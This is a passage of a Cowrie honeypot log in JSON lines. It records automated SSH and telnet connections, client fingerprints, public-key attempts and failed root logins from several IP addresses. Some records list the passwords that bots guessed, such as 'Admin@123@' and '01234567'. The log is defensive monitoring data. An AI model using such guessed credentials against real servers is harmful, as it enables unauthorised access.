p-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:40:49.585495Z","src_ip":"181.0.214.136","session":"0b8f1cb67d52","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"asimov","message":"login attempt [root/asimov] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:40:50.281319Z","src_ip":"181.0.214.136","session":"0b8f1cb67d52","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.85.27","src_port":43436,"dst_ip":"10.17.0.5","dst_port":22,"session":"0bf6c5a322ce","protocol":"ssh","message":"New connection: 43.153.85.27:43436 (10.17.0.5:22) [session: 0bf6c5a322ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:40:50.788662Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:40:50.793487Z","src_ip":"43.153.85.27","session":"0bf6c5a322ce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:40:50.861678Z","src_ip":"43.153.85.27","session":"0bf6c5a322ce","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin@123@","message":"login attempt [root/Admin@123@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:40:51.166115Z","src_ip":"43.153.85.27","session":"0bf6c5a322ce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:40:51.449556Z","src_ip":"181.0.214.136","session":"0b8f1cb67d52","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.243.37.202","src_port":21330,"dst_ip":"10.17.0.5","dst_port":22,"session":"d5ad6a68caf1","protocol":"ssh","message":"New connection: 104.243.37.202:21330 (10.17.0.5:22) [session: d5ad6a68caf1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:40:51.867945Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:40:51.873276Z","src_ip":"104.243.37.202","session":"d5ad6a68caf1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:40:51.882109Z","src_ip":"104.243.37.202","session":"d5ad6a68caf1","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"06:d3:40:42:a7:26:8d:11:88:e5:8c:b8:28:41:de:f3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCdKhr28xrksfCs/4tox2SbqmoTDeq/kbM+eyO0/mu9URVoUS4jlf3Dk4xNpjGo6sqOx+t8tArdVSsyq8vtbxX2NSM/6w01E36ZrawYgSJJJn8GZutHaIHE80jSFkXyTTWV3H2R6Y7OIRb/B7jEWt6MuJBRZy6pMWN5aqYU1hFifI+hxACChoY/xf73U5IUZ4jI4r7jFxS+l9kcTYCaBeAFYCGIg99YVjuPjVWgQsuJbj2pfG1G/niUDUj3le/1L2g+B4yTvhh0fQK88Pp9IWmAPGRdMIfSkfFZwWdwUprM+eKBzifK9g5cRHh4nECzyzsLCGdYEL5yDtYU2s9UhiS5Hgzoh7EI063DYvRw3bV3lGWX8JjlTgLKobFnBz9xAdWrituP/A3uBbslU5QtOOrpr2V79+d5vGNkJHPDpnSqVGxo80GepITKkg1IsqEhjcDp0ICmye1qWa/v6D+6KyBezD8O26nCQMBMwCeL8ICRiOyhArqBkh7c636ON/mgaDE=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 06:d3:40:42:a7:26:8d:11:88:e5:8c:b8:28:41:de:f3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:40:51.905621Z","src_ip":"104.243.37.202","session":"d5ad6a68caf1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"06:d3:40:42:a7:26:8d:11:88:e5:8c:b8:28:41:de:f3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCdKhr28xrksfCs/4tox2SbqmoTDeq/kbM+eyO0/mu9URVoUS4jlf3Dk4xNpjGo6sqOx+t8tArdVSsyq8vtbxX2NSM/6w01E36ZrawYgSJJJn8GZutHaIHE80jSFkXyTTWV3H2R6Y7OIRb/B7jEWt6MuJBRZy6pMWN5aqYU1hFifI+hxACChoY/xf73U5IUZ4jI4r7jFxS+l9kcTYCaBeAFYCGIg99YVjuPjVWgQsuJbj2pfG1G/niUDUj3le/1L2g+B4yTvhh0fQK88Pp9IWmAPGRdMIfSkfFZwWdwUprM+eKBzifK9g5cRHh4nECzyzsLCGdYEL5yDtYU2s9UhiS5Hgzoh7EI063DYvRw3bV3lGWX8JjlTgLKobFnBz9xAdWrituP/A3uBbslU5QtOOrpr2V79+d5vGNkJHPDpnSqVGxo80GepITKkg1IsqEhjcDp0ICmye1qWa/v6D+6KyBezD8O26nCQMBMwCeL8ICRiOyhArqBkh7c636ON/mgaDE=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:40:51.909803Z","src_ip":"104.243.37.202","session":"d5ad6a68caf1","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b5:48:9b:24:c2:9d:1a:10:70:86:d8:a4:ec:8e:fe:f6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC8PvGrnX7Zc7fMcIc6NW/lISC31r6mMYBpMKzn+GvzX/a5KJKSOgXqwtOEC6ojFugmK9FDLItwsGtHZLubqufTvKDeftXpOuUBCOyIImLaX60ejwLQa1TvMcGbFLOJIJ7AFrZwBxJuqJhSdUOmgw2hBnajy0QMmSE0IAIHqs9SHv/curvFfyX7+ajvRcrDMRhhJlgw9PWKmFWsBSabuTEmiS6Jya2YD47mSqRG97vQReHA7tgC9lMaFT+KNaJrVXgoOurfpBzBADl+jIVBK+EOtGnI1HYWr8A+s02m1W1LqJCWF20KGVp8iI0zfTZrV4vxt9QFmRVsvIgtE/p1T1IL","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b5:48:9b:24:c2:9d:1a:10:70:86:d8:a4:ec:8e:fe:f6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:40:51.918690Z","src_ip":"104.243.37.202","session":"d5ad6a68caf1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b5:48:9b:24:c2:9d:1a:10:70:86:d8:a4:ec:8e:fe:f6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC8PvGrnX7Zc7fMcIc6NW/lISC31r6mMYBpMKzn+GvzX/a5KJKSOgXqwtOEC6ojFugmK9FDLItwsGtHZLubqufTvKDeftXpOuUBCOyIImLaX60ejwLQa1TvMcGbFLOJIJ7AFrZwBxJuqJhSdUOmgw2hBnajy0QMmSE0IAIHqs9SHv/curvFfyX7+ajvRcrDMRhhJlgw9PWKmFWsBSabuTEmiS6Jya2YD47mSqRG97vQReHA7tgC9lMaFT+KNaJrVXgoOurfpBzBADl+jIVBK+EOtGnI1HYWr8A+s02m1W1LqJCWF20KGVp8iI0zfTZrV4vxt9QFmRVsvIgtE/p1T1IL","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:40:51.922771Z","src_ip":"104.243.37.202","session":"d5ad6a68caf1","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"16:c3:9d:aa:5a:53:09:b7:97:6b:02:29:e4:45:a0:6d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAsJAbH514tlSeiPoe84iSxfWCS1VQ2uEFC6h84pXt1Xne9V6d5TJ+1i35w8djPy+fiuSvgEx8DOtbK6+sQD2MXAXH9MUmj7ePT5XUgPRHgzoSpducxbn1prnxiNtj+TVJChC9j8sFK+hJKLpz9MvMsFqKRu0FqOIxl7cc11zQo/xD+3Lh+c+dYZBo90mS90tsmshy7Isz2FmVrTsyC4en3wauYm8xlOtabhC/W+bq3fzQVqSe+GoE3pIYdH11ow56+qHzuUxv027x2V+k63TvysTVic5WKLh1LjatkAZp4BxYffgsxU6wIRogJvG3F6hELnbLW90HYogaPeaQqzwX9Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 16:c3:9d:aa:5a:53:09:b7:97:6b:02:29:e4:45:a0:6d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:40:51.931450Z","src_ip":"104.243.37.202","session":"d5ad6a68caf1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"16:c3:9d:aa:5a:53:09:b7:97:6b:02:29:e4:45:a0:6d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAsJAbH514tlSeiPoe84iSxfWCS1VQ2uEFC6h84pXt1Xne9V6d5TJ+1i35w8djPy+fiuSvgEx8DOtbK6+sQD2MXAXH9MUmj7ePT5XUgPRHgzoSpducxbn1prnxiNtj+TVJChC9j8sFK+hJKLpz9MvMsFqKRu0FqOIxl7cc11zQo/xD+3Lh+c+dYZBo90mS90tsmshy7Isz2FmVrTsyC4en3wauYm8xlOtabhC/W+bq3fzQVqSe+GoE3pIYdH11ow56+qHzuUxv027x2V+k63TvysTVic5WKLh1LjatkAZp4BxYffgsxU6wIRogJvG3F6hELnbLW90HYogaPeaQqzwX9Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:40:51.935648Z","src_ip":"104.243.37.202","session":"d5ad6a68caf1","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"45:04:f3:29:f9:d5:a2:96:c9:52:05:af:dd:9f:08:7e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCfHarOheJholQdY5EClppsw8We0nBshAYSSr4bQYjEKkqhc9Dv1ZOY3TwoH1+i8FoYiGgxSDKDHZNS8VH7I1ICqAbtEJyYZrR9TcM2BkuOmI+wVWhuc9REhFeFvPkqADIFqs2eRySSZlTCyxSn4/mVL9xZCIta8t/rOUSZ6oma6eHo2ilo7/vChAKzGv4a1IpTWhJTA04LBlTgKaka6p0X2fMV7N9CKOb53VYSD1lFDy8+C3qPLfFDhdvW32G5Q7inemLa1PdqhyyudNpamchF4wJrsQop9F8uH5+AXSFHi+iWHqny+zcHlHgq66nIVHpkBblPmpGnodTX/aX8BqwH","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 45:04:f3:29:f9:d5:a2:96:c9:52:05:af:dd:9f:08:7e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:40:51.947547Z","src_ip":"104.243.37.202","session":"d5ad6a68caf1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"45:04:f3:29:f9:d5:a2:96:c9:52:05:af:dd:9f:08:7e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCfHarOheJholQdY5EClppsw8We0nBshAYSSr4bQYjEKkqhc9Dv1ZOY3TwoH1+i8FoYiGgxSDKDHZNS8VH7I1ICqAbtEJyYZrR9TcM2BkuOmI+wVWhuc9REhFeFvPkqADIFqs2eRySSZlTCyxSn4/mVL9xZCIta8t/rOUSZ6oma6eHo2ilo7/vChAKzGv4a1IpTWhJTA04LBlTgKaka6p0X2fMV7N9CKOb53VYSD1lFDy8+C3qPLfFDhdvW32G5Q7inemLa1PdqhyyudNpamchF4wJrsQop9F8uH5+AXSFHi+iWHqny+zcHlHgq66nIVHpkBblPmpGnodTX/aX8BqwH","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:40:51.951577Z","src_ip":"104.243.37.202","session":"d5ad6a68caf1","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"02:e5:d1:2a:2c:01:6b:fe:b5:40:68:5b:04:91:a0:d8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCnfd5CsQOGa+L18KgWj7yE2zK6zqt8KgIISKEOX7P6qhiYNMforffvumOiaLqe63C3bzAXCo7JJFHfspRLS03wX6cUN6DM4+Fw9TGl04gALIyRlDll0RhrWsPys0ovm2tSDZFpDYpG7vvXbkZ+S59HZzXzw9en9FSWQuLX3KOQ+EtLrDdqOoEXG5/J0eDBhpCBm157BGxGC78DzlYlej/ZRX/udMtBEoyfk7mXF6zA6njIemI6o61v86eXGcVRcYTx0wf4NEOmLFy3k2mJQUPWgb1s1JBkmJQwJsFI9AkUR8+FkXWEQFSA0gFCKMb5Q2mlJE39RuDwgWBfo8/M9gkH","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 02:e5:d1:2a:2c:01:6b:fe:b5:40:68:5b:04:91:a0:d8","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:40:51.960918Z","src_ip":"104.243.37.202","session":"d5ad6a68caf1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"02:e5:d1:2a:2c:01:6b:fe:b5:40:68:5b:04:91:a0:d8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCnfd5CsQOGa+L18KgWj7yE2zK6zqt8KgIISKEOX7P6qhiYNMforffvumOiaLqe63C3bzAXCo7JJFHfspRLS03wX6cUN6DM4+Fw9TGl04gALIyRlDll0RhrWsPys0ovm2tSDZFpDYpG7vvXbkZ+S59HZzXzw9en9FSWQuLX3KOQ+EtLrDdqOoEXG5/J0eDBhpCBm157BGxGC78DzlYlej/ZRX/udMtBEoyfk7mXF6zA6njIemI6o61v86eXGcVRcYTx0wf4NEOmLFy3k2mJQUPWgb1s1JBkmJQwJsFI9AkUR8+FkXWEQFSA0gFCKMb5Q2mlJE39RuDwgWBfo8/M9gkH","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:40:51.964766Z","src_ip":"104.243.37.202","session":"d5ad6a68caf1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:40:51.973680Z","src_ip":"104.243.37.202","session":"d5ad6a68caf1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:40:52.238693Z","src_ip":"43.153.85.27","session":"0bf6c5a322ce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.195.236.96","src_port":35390,"dst_ip":"159.203.135.109","dst_port":22,"session":"1461eeccb0ce","protocol":"ssh","message":"New connection: 103.195.236.96:35390 (159.203.135.109:22) [session: 1461eeccb0ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:40:57.750004Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:40:57.755215Z","src_ip":"103.195.236.96","session":"1461eeccb0ce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49914,"dst_ip":"10.17.0.5","dst_port":23,"session":"d221ab6db6c5","protocol":"telnet","message":"New connection: 152.42.224.71:49914 (10.17.0.5:23) [session: d221ab6db6c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:40:57.759718Z"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:40:58.000495Z","src_ip":"103.195.236.96","session":"1461eeccb0ce","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"01234567","message":"login attempt [root/01234567] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:40:58.717035Z","src_ip":"103.195.236.96","session":"1461eeccb0ce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.242.234.173","src_port":58530,"dst_ip":"10.17.0.5","dst_port":22,"session":"db7f3c6fac1d","protocol":"ssh","message":"New connection: 185.242.234.173:58530 (10.17.0.5:22) [session: db7f3c6fac1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:40:59.034813Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:40:59.039974Z","src_ip":"185.242.234.173","session":"db7f3c6fac1d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:40:59.291863Z","src_ip":"185.242.234.173","session":"db7f3c6fac1d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:40:59.965198Z","src_ip":"103.195.236.96","session":"1461eeccb0ce","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"David123","message":"login attempt [root/David123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:40:59.995682Z","src_ip":"185.242.234.173","session":"db7f3c6fac1d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:41:01.234824Z","src_ip":"185.242.234.173","session":"db7f3c6fac1d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00277996063232,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:41:02.519698Z","src_ip":"152.42.224.71","session":"46f3d78f54dc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"49.51.200.156","src_port":39800,"dst_ip":"10.17.0.5","dst_port":22,"session":"16c5e31ea34b","protocol":"ssh","message":"New connection: 49.51.200.156:39800 (10.17.0.5:22) [session: 16c5e31ea34b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:41:05.690150Z"}
